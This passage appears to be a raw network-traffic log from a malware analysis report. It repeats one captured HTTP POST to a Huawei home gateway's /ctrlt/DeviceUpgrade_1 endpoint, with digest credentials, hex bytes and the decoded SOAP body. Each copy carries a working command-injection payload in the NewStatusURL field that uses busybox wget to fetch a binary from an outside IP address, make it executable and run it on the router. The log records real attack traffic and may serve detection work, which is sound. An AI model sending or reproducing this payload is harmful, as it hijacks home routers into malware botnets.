2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope 